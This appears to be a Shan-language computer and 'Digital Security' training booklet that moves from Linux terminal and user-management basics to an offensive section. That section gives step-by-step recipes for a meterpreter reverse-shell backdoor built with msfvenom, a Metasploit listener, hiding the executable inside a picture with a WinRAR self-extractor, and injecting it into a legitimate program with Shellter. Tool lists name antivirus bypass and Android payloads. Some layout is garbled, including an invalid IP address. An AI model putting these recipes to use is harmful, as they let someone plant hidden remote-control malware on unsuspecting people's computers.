တီႈၵဵပ်းသိမ်းေၶႃႈမုၼ်းၸူဝ်ႈၵႅပ်ႉ ေၶႃႈမုၼ်းၼႂ်းၼႆႉေတႁၢႆမူတ်းသင် restart ၶွမ်း

တီႈၵဵပ်းသိမ်း configulation files ဢမ်ႇၼၼ် system file ၶွင်ၶွမ်း။ မိူၼ်တင်းၾႆႇ 
system32 ၶွင် Windows

တီႈၵဵပ်းသိမ်းေၶႃႈမုၼ်းၵူႈလွင်ႈလွင်ႈ ဢၼ်ဢမ်ႇၶဝ်ႈပိူင်ပိူၼ်ႈ

တီႈၵဵပ်းေၶႃႈမုၼ်းၶွင် ပူဝ်ႊၵႅမ်ႊၸိူဝ်းဢမ်ႇပႃးမႃးၸွမ်းၼႂ်း system

တီႈၵဵပ်းသိမ်းေၶႃႈမုၼ်း user ဢမ်ႇၼၼ် ၽူႈၸႂ်ႉၶွမ်း

တီႈၵဵပ်းသိမ်းေၶႃႈမုၼ်း ပူဝ်ႊၵႅမ်ႊ (မိူၼ်ၼင်ႇ /bin) ၵူၺ်းေၶႃႈမုၼ်းဢၼ်သႂ်ႇၼႂ်းၼႆႉ 
မီး root ၵူၺ်းဢၼ်ၶဝ်ႈတူၺ်းလႆႈ

တီႈၵဵပ်းေၶႃႈမုၼ်းၵူႈလွင်ႈလွင်ႈ မိူၼ်ၼင်ႇ log file

/root

/boot

/bin

/dev

/etc

/home

/lib

/media

/mnt

/opt

/sbin

/srv

/sys

/tmp

/usr

/var
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ႁဵတ်းၵၢၼ်ၸွမ်း Terminal
ၵၢၼ်သီႇ-

4.1 /

ႁူၵ်ႉၸၵ်း Terminal ႁဵတ်းႁႂ်ႈတူဝ်လိၵ်ႈယႂ်ႇမႃး   

ႁဵတ်းႁႂ်ႈတူဝ်လိၵ်ႈလဵၵ်ႉလူင်း

လၢင်ႉပႅတ်ႈ (မွတ်ႇပႅတ်ႈ) ထႅဝ်လိၵ်ႈဢၼ်မီးၼႂ်း terminal

ၵိုတ်းယင်ႉ (end) ဢမ်ႇၼၼ် ပိၵ်ႉပႅတ်ႈ process 
ဢၼ်တိုၵ်ႉႁဵတ်းဝႆႉယၢမ်းလဵဝ် 

ၵိုတ်း (pause) process ဝႆႉၵမ်းၼိုင်ႈ

ၶိုၼ်းပွၵ်ႈၵႂႃႇ commands ဢၼ်ပူၼ်ႉမႃး

Ctrl

Ctrl

Ctrl

Ctrl

Ctrl

<

Shift

L

-

C

Z

>

>

>

+

Shortcut တႃႇၸႂ်ႉၼႂ်း Terminal

လႅၵ်ႈလၢႆႈၽၢင်ႁၢင်ႈ Terminal
တႃႇလႅၵ်ႈလၢႆႈၽၢင်ႁၢင်ႈ မိူၼ်ၼင်ႇ သီပိုၼ်ႉလင် (background) ႄလႈ သီတူဝ်လိၵ်ႈၼၼ်ႉ ၵႂႃႇတီႈ

Edit >> Profile Preferences
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ႁဵတ်းၵၢၼ်ၸွမ်း ဢွင်ႈတီႈ (directory)

ၵၢၼ််ႁႃႈ-

ၼႂ်း Windows ႁွင်ႉ 
ၾူဝ်ႇတိူဝ်ႇ (folder)

ၼႂ်း Linux ႁွင်ႉ 
တႆႇလႅၵ်ႉေထႃႇရီႇ (directory)

5.1
တီႈပွင်ႇ Directory

5.2 /

pwd pwd

(print working directory - ႄၼတီႈယူႇ)

ႄၼဝႃႈႁဝ်းတိုၵ်ႉႁဵတ်းၵၢၼ်ယူႇၼႂ်းဢွင်ႈတီႈ (directory) ဢၼ်လႂ်

5.3 /

cd cd /etc
cd /bin 
cd ..
cd ~
cd /

(change directory - လႅၵ်ႈလၢႆႈတီႈယူႇ)

ၶဝ်ႈၵႂႃႇၼႂ်း /etc
ၶဝ်ႈၵႂႃႇၼႂ်း /bin
ဢွၵ်ႇၵႂႃႇသင်ႉၼိုင်ႈ (directory) ၼိုင်ႈဢၼ်
ၵႂႃႇတီႈ /home
ၵႂႃႇတီႈ /root

5.4 /

ls
(list - ႄၼေၶႃႈမုၼ်း)

ႄၼေၶႃႈမုၼ်းဢၼ်မီးယူႇၼႂ်းဢွင်ႈတီႈယၢမ်းလဵဝ်
ၶပ်ႉေၶႃႈမုၼ်းႄလႈႄၼပႃးေၶႃႈမုၼ်း မိူၼ်ၼင်ႇ တၢင်းယႂ်ႇၾႆႇ ဝၼ်းထိ 
ႄလႈ ၸဝ်ႈၶွင်မၼ်း
ႄၼပႃးေၶႃႈမုၼ်းၸိူဝ်းဢၼ်လႆႈလပ်ႉဝႆႉ (ဢၼ်ႄတႇ လူၺ်ႈ .)
ႄၼေၶႃႈမုၼ်းတင်းသဵင်ႈ ႄလႈ ၶပ်ႉပၼ်ေၶႃႈမုၼ်း
ႄၼေၶႃႈမုၼ်းႄလႈႁဵတ်းႁႂ်ႈမၼ်းလူဢၢၼ်ႇငၢႆႈတႃႇၵူၼ်း (h = human 
readible)
ႄၼေၶႃႈမုၼ်းဢၼ်ယူႇၼိူဝ် Desktop တင်းသဵင်ႈ (r = recursive) 

ls
ls -l

ls -a
ls -a -l
ls -lh

ls -lr /Desktop
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5.5 /

man man ls
man rm

(manual - ထၢမ်တီႈပွင်ႇႄလႈလွင်ႈႁဵတ်း 
ၵၢၼ် command)

ႁႃတူၺ်းဝႃႈ ls ပွင်ႇဝႃႈသင်ႄလႈမၼ်းႁဵတ်းၵၢၼ်ၸိူင်ႉႁိုဝ်
ႁႃတူၺ်းဝႃႈ rm ပွင်ႇဝႃႈသင်ႄလႈမၼ်းႁဵတ်းၵၢၼ်ၸိူင်ႉႁိုဝ်

5.6 /

whatis
(ႁႃတီႈပွင်ႇ command)

ႁႃတူၺ်းဝႃႈ ls ပွင်ႇဝႃႈသင်
ႁႃတူၺ်းဝႃႈ cp ပွင်ႇဝႃႈသင်

whatis ls
whatis cp

5.7 /

whereis
(ႁႃတီႈယူႇ)

ႁႃတီႈယူႇ /etc
ႁႃတီႈယူႇ passwd

whereis /etc

whatis passwd

5.8 /

mkdir
(make directory - သၢင်ႈ diectory 
ဢၼ်မႂ်ႇ)

ၵႂႃႇတီႈ Desktop
ႁဵတ်း directory ဢၼ်မႂ်ႇႄလႈသႂ်ႇၸိုဝ်ႈမၼ်းဝႃႈ Book (ပပ်ႉ)
ႁဵတ်း directory ဢၼ်မႂ်ႇႄလႈသႂ်ႇၸိုဝ်ႈမၼ်းဝႃႈ Tai Book (ပပ်ႉတႆး)

cd /Desktop

mkdir Book

mkdir “Tai Book”

5.9 /

touch
(သၢင်ႈၾႆႇမႂ်ႇ)

ၵႂႃႇတီႈ Desktop / Book
သၢင်ႈ poem.txt ၼႂ်းမၼ်း

cd /Desktop/Book

touch food.txt

5.10 /

echo
(ၵဵပ်းသိမ်းဝႆႉ)

တႅမ်ႈသႂ်ႇထႅဝ်လိၵ်ႈ Hello mong tai ၼႂ်းၾႆႇ Book.txt

echo “Hello mong tai” > food.txt

ႄၼေၶႃႈမုၼ်းဢၼ်မီးၼႂ်း Book.txt
5.11 /

cat
(ႄၼေၶႃႈမုၼ်း)

တႅမ်ႈသႂ်ႇထႅဝ်လိၵ်ႈ Hello mong tai ၼႂ်းၾႆႇ Book.txt

cat food.txt

ႄၼေၶႃႈမုၼ်းဢၼ်မီးၼႂ်း /etc/passwd ေသၵႂႃႇၵဵပ်းေၶႃႈမုၼ်းၸိူဝ်းၼၼ်ႉဝႆႉၼႂ်း Book.txt

cat /etc/passwd > food.txt
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5.12 /

rm rm food.txt
rm -r Tai

(remove - ယႃႉပႅတ်ႈ)

ယႃႉလႅဝ်ပႅတ်ႈ Book.txt
rm -r ယႃႉလႅဝ်ပႅတ်ႈ ဢွင်ႈတီႈ Tai ႄလႈေၶႃႈမုၼ်းဢၼ်မီးၼႂ်းမၼ်း 
တင်းမူတ်း

5.13 /

cp cp food.txt “Tai Book”

(copy - ႁဵတ်းၽိုၼ်မိူၼ်)

ႁဵတ်းၽုိၼ်မိူၼ် (copy) taifood.txt ေသၵႂႃႇဝႆႉၼႂ်း Tai 
Book

5.14 /

mv cp food.txt /Desktop

*******************
mv food.txt good.txt

mv good.txt good.c

(move - ၶၢႆႉတီႈယူႇ)

ၶၢႆႉၾႆႇ food.txt ၵႂႃႇဝႆႉၼိူဝ် Desktop

mv ၼၼ်ႉ ၸႂ်ႉလႅၵ်ႈလၢႆႈၸိုဝ်ႈၾႆႇလႆႈ - လႅၵ်ႈလႆႈၸိုဝ်ႈ 
food.txt ပၼ် good.txt

လိူဝ်ေသၼႆႉ mv ၸႂ်ႉလႅၵ်ႈလၢႆႈသႅၼ်းၾႆႇ (extension) 
ေၵႃႈလႆႈ - လႅၵ်ႈလၢႆႈ .txt ပဵၼ် .c
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ႁဵတ်းၵၢၼ်ၸွမ်း user

ၵၢၼ််ႁူၵ်း-

6.2 /

useradd useradd -m tom

သၢင်ႈ user ဢၼ်မႂ်ႇ

သၢင်ႈယူႇသိူဝ်ႇဢၼ်မႂ်ႇ  (useradd) ၊ ႁဵတ်းပၼ် home directo-
ry (-m) ႄလႈ တင်ႇၸိုဝ်ႈမၼး်ဝႃႈ tom

6.1 /

su su
password:

လႅၵ်ႈလၢႆႈပဵၼ် root ယူႇသိူဝ်ႇ

လႅၵ်ႈလၢႆႈယူႇသိူဝ်ႇပဵၼ် su (superuser) ဢမ်ႇၼၼ် root
သင်ယွၼ်းမၢႆလပ်ႉမႃးၼႆ ႁႂ်ႈသႂ်ႇပၼ်သႂ်ႇပၼ်မၢႆလပ်ႉၶွင် root

root လုတ်ႉ (root) ဢမ်ႇၼၼ် superuser ၼၼ်ႉ ပဵၼ်ယူႇသိူဝ်ႇဢၼ် 
မီးဢၢမ်းၼၢတ်ႈသုင်သုတ်း ၼႂ်းၶွမ်း။ မၼ်းႁဵတ်းသင်ေၵႃႈလႆႈ။

6.3 /

passwd
သႂ်ႇမၢႆလပ်ႉပၼ် user

6.4 /

usermod
ပၼ်ၶႂၢင်ႉ sudo

ယူႇသိူဝ်ႇ (user) ၼႂ်း Linux ၼၼ်ႉမီးသွင်မဵဝ်း -

normal ယႃႇသႃႇတၢင်ႇၸိူဝ်း - ယႃႇသႃႇၸိူဝ်းၼႆႉ ၶဝ်ႈထိုင်လႆႈ ၸွမ်းၼင်ႇၶႂၢင်ႉ 
(permissions) ဢၼ်ၶဝ်မီး

passwd tom
New password:
Retype new password:

usermod -a -G sudo tom

chsh -s /bin/bash tom

တင်ႈပၼ်မၢႆလပ်ႉ tom
(သႂ်ႇပၼ်မၢႆလပ်ႉမႂ်ႇဢၼ်မိူၼ်ၵၼ် 2 ၵမ်း)

ပၼ်ၶႂၢင်ႉႁႂ်ႈ tom မီးဢၢမ်းၼၢတ်ႈသၢင်းပူဝ်ႊၵႅမ်ႊ (ၸ်ႂႉ sudo) လႆႈ

တင်ႈ tom ၸႂ်ႉ bash လႆႈ
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6.5 /

passwd cat /etc/passwd

တီႈၵဵပ်းေၶႃႈမုၼ်း user

ႄၼေၶႃႈမုၼ်း user ဢၼ်မီးၼႂ်းၶွမ်း

6.6 /

su username su tom

လၢႆႈ user ၼႂ်း terminal

လၢႆႈ user ၵႂႃႇပဵၼ် tom

6.9 /

userdel userdel -r smith

လၢႆႈ user ၼႂ်း terminal

မွတ်ႇပႅတ်ႈ smith ႄလႈ ေၶႃႈမုၼ်းဢၼ်မီးၼႂ်းမၼ်း 
(home directory) တင်းမူတ်း

6.8 /

usermod -l usermod -l smith -d /home/smith -m tom

လႅၵ်ႈလၢႆႈၸိုဝ်ႈ လႅၵ်ႈလၢႆႈၸိုဝ်ႈ tom ပဵၼ် smith ႄလႈ လႅၵ်ႈလၢႆႈၸိုဝ်ႈ home ၶွင် tom ပဵၼ် smith မိူၼ်ၵၼ်
(-l smith ပွင်ႈဝႃႈလႅၵ်ႈလၢႆႈ login ပဵၼ် smith)
(-d /home/smith ပွင်ႇဝႃႈလႅၵ်ႈလၢႆႈၸိုဝ်ႈ home ပဵၼ် smith)

6.7 /

passwd
လႅၵ်ႈလၢႆႈမၢႆလပ်ႉ

passwd
New password:
Retype new password:

သင်ဢမ်ႇသႂ်ႇၸိုဝ်ႈၼႆ မၼ်းေတလၢႆႈမၢႆလပ်ႉ password ၶွင် 
user ေတႃႈလဵဝ်
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ၵၢၼ်သၢင်ႈမႅင်း Virus

ေၶႃႈၾၢင်ႉ! 

ၵၢၼ်သၢင်ႈမႅင်းၼႂ်းပပ်ႉလိၵ်ႈၼႆႉ ပဵၼ်ပုၼ်ႈတႃႇၸႂ်ႉၼႂ်းၵၢၼ်ႁဵၼ်းႁူႉ Digital Security ၵူၺ်း။ ၽူႈလဵပ်ႈႁဵၼ်းပပ်ႉလိၵ်ႈၼႆႉ 
ေတဢမ်ႇလႆႈဢဝ်လွၵ်းလၢႆးဢၼ်တႅမ်ႈဝႆႉၼႂ်းပပ်ႉၼႆႉၵႂႃႇႁႅၵ်ႉဢမ်ႇၼၼ် ယႃႉၵဝ်းေၶႃႈမုၼ်းပိူၼ်ႈ။ သင်ဝႃႈ ၽူႈလူဢၢၼ်ႇလိၵ်ႈ 
ႁဝ်းၶဝ်ဢဝ်လွၵ်းလၢႆးဢၼ်ႄၼၼႂ်းပပ်ႉၼႆႉေသ ႁဵတ်းၽိတ်းမၢႆမီႈ ဢမ်ႇၼၼ် လွင်ႈဢမ်ႇမၢၼ်ႇမႅၼ်ႈၼႆၸိုင် ႁူင်းႁဵၼ်းၵူၼ်း 
ၼုမ်ႇၸိုဝ်ႉၸၢတ်ႈၸိုင်ႈတႆး (SSSNY) ဢမ်ႇႁပ်ႉႁူႉသင်ၸွမ်း၊ ဢမ်ႇၵဵဝ်ႇၶွင်ႈသင် ႄလႈ ေတဢမ်ႇႁပ်ႉၼႃႈတီႈပုၼ်ႈၽွၼ်း 
သင်ၼႆယူႇ။

Creating Payload
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လၢႆးသၢင်ႈ payload လူၺ်ႈၵၢၼ်ၸႂ်ႉ msfvenom

1 /
သၢင်ႈမႅင်း msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.123.456 

LPORT=4444 -f exe > ~/Desktop/backdoor.exe

2 /
ႁၢင်ႈႁႅၼ်းတႃႇၵၢၼ်ႁႅၵ်ႉ

3 /
ႄတႇၵၢၼ် ႁႅၵ်ႉ

တီႈပွင်ႇ -
msfvenom ၸိုဝ်ႈ framework (ပူဝ်ႊၵႅမ်ႊ) ဢၼ်ႁဝ်းေတၸႂ်ႉ
-p  payload ဢမ်ႇၼၼ်မႅင်း
windows  သၢင်ႈမႅင်းတႃႇ Windows
meterpreter မႅင်းဢၼ်မီးၼႂ်းပူဝ်ႊၵႅမ်ႊ msfvenom
reverse_tcp သႅၼ်းၵၢၼ်ၵပ်းသိုပ်ႇ (connection)
LHOST=  IP ဢၼ်မႅင်းေတၸၢင်ႈၵပ်းသိုပ်ႇၸၢဝ်ႈၶွင်မၼ်း
LPORT=  ႁူးၽၵ်းတူ (port) ဢၼ်မႅင်းေတၸႂ်ႉ
-f exe  format ဢမ်ႇၼၼ်သႅၼ်းမႅင်းပဵၼ်ၾႆႇ .exe
~/Desktop/ ၵႂႃႇၵဵပ်းမႅင်းဢၼ်ေတသၢင်ႈဝႆႉၼိူဝ် Desktop
backdoor.exe တၢင်ႇၸိုဝ်ႈမၼ်းပဵၼ် backdoor.exe

msfconsole    ၽုၺ်ႇပူဝ်ႊၵႅမ်ႊ Metasploit 
use exploit/multi/handler   တင်ႈဝႃႈေတႁႅၵ်ႉ (exploit)
set payload windows/meterpreter/reverse_tcp လိူၵ်ႈသႅၼ်းမႅင်းပဵၼ် Windows
set LHOST 192.168.213.129   သႂ်ႇ IP ၸဝ်ႈၶွင်မႅင်း
set LPORT 4444    တင်ႈႁူးေၶႃႈမုၼ်း (port)
exploit -j -z    ႄတႇႁႅၵ်ႉေၶႃႈမုၼ်း 

sessions -i  တူၺ်းဝႃႈၶွမ်းလၢႆၶိူင်ႈၺႃးမႅင်း ေလႈမီးၵၢၼ်ၵပ်းသိုပ်ႇယူႇ
sessions -i 1  လိူၵ်ႈၶွမ်းမၢႆ 1
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လၢႆးသိူၵ်ႇမႅင်းဝႆႉၼႂ်းၶႅပ်းႁၢင်ႈ

1 /
သၢင်ႈမႅင်း msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.123.456 

LPORT=4444 -f exe > ~/Desktop/backdoor.exe

2 /
ႁၢင်ႈႁႅၼ်းၶႅပ်းႁၢင်ႈ • တၢဝ်ႊလူတ်ႊၶႅပ်းႁၢင်ႈ 1 ၶႅပ်း

• ၵႂႃႇလၢႆႈသႅၼ်းၶႅပ်းႁၢင်ႈပဵၼ် .ico (icon) တီႈဝႅပ်ႉ icoconvert.com (လူိၵ်ႈသႅၼ်းၶႅပ်းႁၢင်ႈပဵၼ် 
ico ႄလႈတင်းယႂ်ႇ 256x256)

3 /
ႁၢင်ႈႁႅၼ်းပူဝ်ႊၵႅမ်ႊ တၢဝ်ႊလူတ်ႊႄလႈသၢင်းပူဝ်ႊၵႅမ်ႊ WinRAR

https://www.win-rar.com/

4 /
ဢဝ်မႅင်းသႂ်ႇၼႂ်း 
ၶႅပ်းႁၢင်ႈ

ၼႂ်း Windows ၼၼ်ႉ
1. လိူၵ်ႈၾႆႇၶႅပ်းႁၢင်ႈဢၼ်ႄတႉမၼ်း (hand.jpg) ႄလႈၾႆႇမႅင်း (backdoor.exe) ေသ >> 
တဵၵ်းၶႂႃမိုဝ်း >> တဵၵ်းတီႈ Add to archieve ...

hand.ico hand.jpg
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2. တီႈ Compression method ၼၼ်ႉႁႂ်ႈလိူၵ်ႈပဵၼ် Fast 
ႁႂ်ႈၶိတ်ႇၶိူင်ႈမၢႆထုၵ်ႇတီႈ Create SFX archieve

3. ၵႂႃႇတီႈ Advance >> SFX Options ေသ တီႈ Update ၼၼ်ႉ ႁႂ်ႈလိူၵ်ႈ Extract and update 
files ႄလႈ Overwrite all files
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4. ၵႂႃႇတီႈ Setup ေသ သႂ်ႇပၼ်ၸိုဝ်ႈ မႅင်း (backdoor.exe) ႄလႈၸိုဝ်ႈၶႅပ်းႁၢင်ႈ (hand.jpg)

4. ၵႂႃႇတီႈ Text and icon ေသတီႈ Browse ၼၼ်ႉ ႁႂ်ႈလိူၵ်ႈၶႅပ်းႁၢင်ႈ (.ico) ဢၼ်ႁဝ်းလႆႈႁၢင်ႈႁႅၼ်း 
ဝႆႉ (ၼႆႉေတပဵၼ်ၶႅပ်းႁၢင်ႈဢၼ်ပိူၼ်ႈႁၼ်မိူဝ်ႈပိူၼ်ႈတၢဝ်ႊလူတ်ႊၵႂႃႇၼႂ်းၶွမ်းပူိၼ်ႈ)
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5. လိုၼ်းသုတ်း ၵႂႃႇတီႈ Modes ေသလိူၵ်ႈ Hide all ယဝ်ႉတဵၵ်း OK သွင်ၵမ်းၼႆ ေတလႆႈႁၼ် မႅင်း 
ဢၼ်ယူႇၼႂ်းၶႅပ်းႁၢင်ႈယဝ်ႉတူဝ်ႈလီငၢမ်းယဝ်ႉ!
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လၢႆးသိူၵ်ႇမႅင်းဝႆႉၼႂ်း program

1. သႂ်ႇပူဝ်ႊၵႅမ်ႊ .exe ဢၼ်ေတၸႂ်ႉၼႂ်း shellter (မိူၼ်ၼင်ႇ wrar.exe)
   မၢႆတွင်း - ၾႆႇ .exe ဢၼ်ေတၸႂ်ႉၼၼ်ႉ ေတလႆႈပဵၼ်ၾႆႇ 32 bit

2. ၽုၺ်ႇ shellter.exe (သင်ဢမ်ႇလႆႈၼႆ တဵၵ်းၶႂႃမိုဝ်းၼိူဝ်မၼ်းယဝ်ႉလိူၵ်ႈ Run as administrator)

လိူၵ်ႈ N (ပွင်ႇဝႃႈ 
ဢမ်ႇလူဝ်ႇ update)

သႂ်ႇၸိုဝ်ႈၾႆႇပူဝ်ႊၵႅမ်ႊ ဢၼ်ၶႂ်ႈသႂ်ႇမႅင်းၼႂ်းမၼ်း (မိူၼ်ၼင်ႇ 
wrar.exe ဢၼ်ႁဝ်းလႆႈႁၢင်ႈႁႅၼ်းဝႆႉၼၼ်ႉ)

1 /

2 /

ႁၢင်ႈႁႅၼ်းပူဝ်ႊၵႅမ်ႊ

ၵၢၼ်ၸႂ်ႉ Shellter တႃႇ 
လပ်ႉမႅင်း

လိူၵ်ႈ A (auto)

လိူၵ်ႈ Y

သႂ်ႇ IP address

လိူၵ်ႈ L (ပွင်ႇဝႃႈ 
ေတၸႂ်ႉ list ဢၼ် 
မၼ်းပၼ်မႃး)

သႂ်ႇ port (4444)
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ႁူဝ်ႁုပ်ႈလွင်ႈႁူမ်ႇလူမ်ႈေၶႃႈမုၼ်း

Digital Security 
Guide

ေၶႃႈၾၢင်ႉ! 

ေၶႃႈမုၼ်းဢၼ်တႅမ်ႈဝႆႉပပ်ႉလိၵ်ႈၼႆႉ ပဵၼ်ပုၼ်ႈတႃႇၸႂ်ႉၼႂ်းၵၢၼ်ႁဵၼ်းႁူႉ Digital Security ၵူၺ်း။ ၽူႈလဵပ်ႈႁဵၼ်းပပ်ႉလိၵ်ႈ 
ၼႆႉ ေတဢမ်ႇလႆႈဢဝ်လွၵ်းလၢႆးဢၼ်တႅမ်ႈဝႆႉၼႂ်းပပ်ႉၼႆႉၵႂႃႇႁႅၵ်ႉဢမ်ႇၼၼ် ယႃႉၵဝ်းေၶႃႈမုၼ်းပိူၼ်ႈ။ သင်ဝႃႈၽူႈလူဢၢၼ်ႇ 
လိၵ်ႈႁဝ်းၶဝ်ဢဝ်လွၵ်းလၢႆးဢၼ်ႄၼၼႂ်းပပ်ႉၼႆႉေသ ႁဵတ်းၽိတ်းမၢႆမီႈ ဢမ်ႇၼၼ် လွင်ႈဢမ်ႇမၢၼ်ႇမႅၼ်ႈၼႆၸိုင် 
ႁူင်းႁဵၼ်းၵူၼ်း ၼုမ်ႇၸိုဝ်ႉၸၢတ်ႈၸိုင်ႈတႆး (SSSNY) ဢမ်ႇႁပ်ႉႁူႉသင်ၸွမ်း၊ ဢမ်ႇၵဵဝ်ႇၶွင်ႈသင် ႄလႈ ေတဢမ်ႇႁပ်ႉ 
ၼႃႈတီႈပုၼ်ႈၽွၼ်းသင် ၼႆယူႇ။
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Def/. ATT/.

Technical /.

Physical /.
ေတဢမ်ႇလႆႈၵဵပ်းေၶႃႈမုၼ်းလမ်ႇလွင်ႈဝႆႉၼႂ်းၶိူင်ႈမိုဝ်း

ၾၢင်ႉသတိ camera ႄလႈ CCTV ယူႇတႃႇေသႇ

ၾၢင်ႉသတိ ၵူၼ်းပၵ်းတႃတူၺ်းၸွမ်းလွင်ႈတူင်ႉၼိုင်

မီးေပႃႇလႃႇသီႇ ၵၢၼ်ၶဝ်ႈထိုင်ၶိူင်ႈမိုဝ်း

ဢမ်ႇပၼ်ၵူၼ်းဢၼ်ဢမ်ႇယုမ်ႇၸႂ် ၸႂ်ႉၶိူင်ႈမိုဝ်း

ၵဵပ်းသိမ်းၶိူင်ႈမိုဝ်းဝႆႉတီႈဢၼ်ၵူၼ်းတင်ႇေၵႃႉၶဝ်ႈထိုင်
လႆႈယၢပ်ႇ

ဢမ်ႇေတႃႇၼဵတ်ႇ (internet) ဢၼ်ဢမ်ႇႁူႉၸၵ်း

Info Gathering /.

Local Acttack /.

Remote Attack /.

လႅၵ်ႈလၢႆႈ MAC address လူၺ်ႈၵၢၼ်ၸႂ်ႉ
Macchanger

လႅၵ်ႈလၢႆႈ IP address လူၺ်ႈၵၢၼ်ၸႂ်ႉ
VPN (Virtual Private Networks)

လပ်ႉတီႈယူႇလူၺ်ႈၵၢၼ်ၸႂ်ႉ 
Proxychains

လပ်ႉတီႈယူႇလူၺ်ႈၵၢၼ်ၸႂ်ႉ 
Tor

လပ်ႉတီႈယူႇလူၺ်ႈၵၼ်ၸႂ်ႉ
Anonsurf

လၢႆးလပ်ႉေၶႃႈမုၼ်းၸဝ်ႈၵဝ်
STAYING ANONYMOUS

ႁႃေၶႃႈမုၼ်းၼႂ်း Google

ႁႃႈေၶႃႈမုၼ်းႄလႈတီႈယူႇ IP Address

ၸႂ်ႉ Wireshark ေသတူၺ်းၸွမ်းဝႃႈ 
ၽႂ်လႂ်ၸႂ်ႉ Tor

ႁႃေၶႃႈမုၼ်း meta data ၶွင်ၾႆႇ

ႁႃေၶႃႈမုၼ်း exif ၼႂ်းၶႅပ်းႁၢင်ႈ 
metapicz.com

ႁႃေၶႃႈမုၼ်း header ၼႂ်းၾႆႇမူင်ႈမႅင်း
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Def/. ATT/.

Technical /.

Physical /.

ဢမ်ႇပၼ်ၵူၼ်းဢၼ်ဢမ်ႇယုမ်ႇၸႂ် ၸႂ်ႉၶွမ်း

ေတဢမ်ႇလႆႈၵဵပ်းေၶႃႈမုၼ်းလမ်ႇလွင်ႈဝႆႉၼႂ်းၶွမ်း
ပိၵ်ႉပႅတ်ႈ camera ၶွမ်း

ပိၵ်ႉပႅတ်ႈသဵင် audio ၶွမ်း

ၵဵပ်းသိမ်းေၶႃႈမုၼ်းလမ်ႇလွင်ႈဝႆႉတင်းၼွၵ်ႈၶွမ်း

ဢမ်ႇလႃႈလီႈသဵပ်ႇ USB ဢမ်ႇၼၼ် external 
devices

ေတလႆႈမီးေပႃႇလႃႇသီႇ ၵၢၼ်ၸႂ်ႉၶွမ်းၼႂ်းလုမ်း

ၵဵပ်းသိမ်းၶွမ်းဝႆႉတီႈဢၼ်လွတ်ႈေၽး

Info Gathering /.

Local Acttack /.

Remote Attack /.

ၶွမ်းၵူႈလုၵ်ႈေတလႆႈမီးမၢႆလပ်ႉဢၼ်လီ 

ေတလႆႈမီးတူဝ်ၶႃႈႁႅမ်မူင်ႈမႅင်း (Anti-virus) 
ၼႂ်းၶွမ်း

ၸၼ်းၵၢၼ် Privacy Settings ၼႂ်းၶွမ်း

ႁဵတ်းႁႂ်ႈၶွမ်း update ယႃႇတႃႇေသႇ

သၢင်ႈ admin (root) account ႄလႈ guest (lo-
cal) account မတ်းတတ်း (limit) permissions

လွင်ႈႁူမ်ႇလူမ်ႈၶွမ်း
COMPUTER SEC

တဝ်ႉႁႃေၶႃႈမုၼ်း open ports လူၺ်ႈ 
Nmap

ႁႃႈေၶႃႈမုၼ်းႄလႈတီႈယူႇ IP Address

ၸႂ်ႉ Bad USB တႃႇလၵ်ႉေၶႃႈမုၼ်း

ၸႂ်ႉ Script (.bat ဢမ်ႇၼၼ် .vbs) 

ၸႂ်ႉ Lazesoft Recovery Suit တႃႇၶဝ်ႈ 
ၶွမ်းဢၼ်သႂ်ႇ password ဝႆႉ

ၸႂ်ႉ Metasploit တႃႇသၢင်ႈမႅင်း (pay-
load.exe)

ၸႂ်ႉ TheFatRat တႃႇသၢင်ႈမႅင်း (doc 
/ pdf)

ၸႂ်ႉ Seoolkit တႃႇသၢင်ႈမႅင်း (doc / pdf)

ၸႂ်ႉ Shellter တႃႇလပ်ႉမႅင်းဝႆႉၼႂ်း 
program.exe

ၸႂ်ႉ WinRAR တႃႇလပ်ႉမႅင်းဝႆႉၼႂ်း 
ၶႅပ်းႁၢင်ႈ

ၶၢမ်ႈပူၼ်ႉ (bypass) antivirus 
လူၺ်ႈၵၢၼ်ၸႂ်ႉ Veil



လွင်ႈႁူမ်ႇလူမ်ႈေၶႃႈမုၼ်း

- 28

Def/. ATT/.

Technical /.

Physical /.
ဢဝ်ဢွၵ်ႇပႅတ်ႈဢႅပ်ႊ (app) ၸိူဝ်းဢၼ်ဢမ်ႇၸႂ်ႉ

ဢမ်ႇေတႃႇ WiFi ဢၼ်ဢမ်ႇႁူႉၸၵ်း

ဢဝ် SIM ႄလႈ Memory Card ဢွၵ်ႇ ဢွၼ်တၢင်းေတ 
ၵႂႃႇတီႈသႅင်ႇႄမးၾူၼ်း

ၸႂ်ႉ Flight Mode တႃႇပိၵ်ႉပႅတ်ႈၵၢၼ်ၵပ်းသိုပ်ႇၵပ်း 
သၢၼ်ၾူၼ်းၸဝ်ႈၶၢဝ်း

ပိၵ်ႉၾူၼ်းပႅတ်ႈမိူဝ်ႈဢွၵ်ႇၶၢဝ်းတၢင်းလမ်ႇလွင်ႈ

ဢမ်ႇပၼ်ၵူၼ်းဢၼ်ဢမ်ႇယုမ်ႇၸႂ် ၸႂ်ႉၾူၼ်း

မီးေပႃႇလႃႇသီႇ ၵၢၼ်ၸႂ်ႉၾူၼ်းၶွင်မုၵ်ႉၸုမ်း

Info Gathering /.

Local Acttack /.

Remote Attack /.

သႂ်ႇမၢႆလပ်ႉ (lock screen)

ပိၵ်ႉဢွင်ႈတီႈယူႇ (GPS - Location Services)

သၢင်းပူဝ်ႊၵႅမ်ႊၶႃႈႁႅမ်မႅင်း (Anti-Virus)

လူတ်ႊ (download) ဢႅပ်ႊလုၵ်ႉတီႈ Google Play 
ဢမ်ႇၼၼ် PlayStore ၵူၺ်း

ၸႂ်ႉ 1.1.1.1 တႃႇလပ်ႉ DNS

ၸႂ်ႉ VPNs တႃႇလပ်ႉၵၢၼ်တူင်ႉၼိုင် online

ၸႂ်ႉၾူၼ်းပိုၼ်ႉၶၢမ်ႇ တႃႇၵၢၼ်ၵပ်းသိုပ်ႇၸုမ်း

လွင်ႈႁူမ်ႈလူမ်ႈၾူၼ်း
MOBILE PHONE SEC

ႁႃမၢႆၾူၼ်း

လၵ်ႉေၶႃႈမုၼ်းလုၵ်ႉတီႈ USB

သၢင်းမႅင်း .apk

လႅၵ်ႈလၢႆႈ ဢမ်ႇၼၼ်လၵ်ႉမၢႆလပ်ႉ email 
account ၾူၼ်း

ၸႂ်ႉ dr.fone တႃႇယႃႉပတ်ႈ မၢႆလပ်ႉ 
pattern ႄလႈ PIN

ၸႂ်ႉ Metasploit တႃႇသၢင်ႈမႅင်း (pay-
load.apk)

ၸႂ်ႉ TheFatRat တႃႇသၢင်ႈမႅင်း (pay-
load.apk)

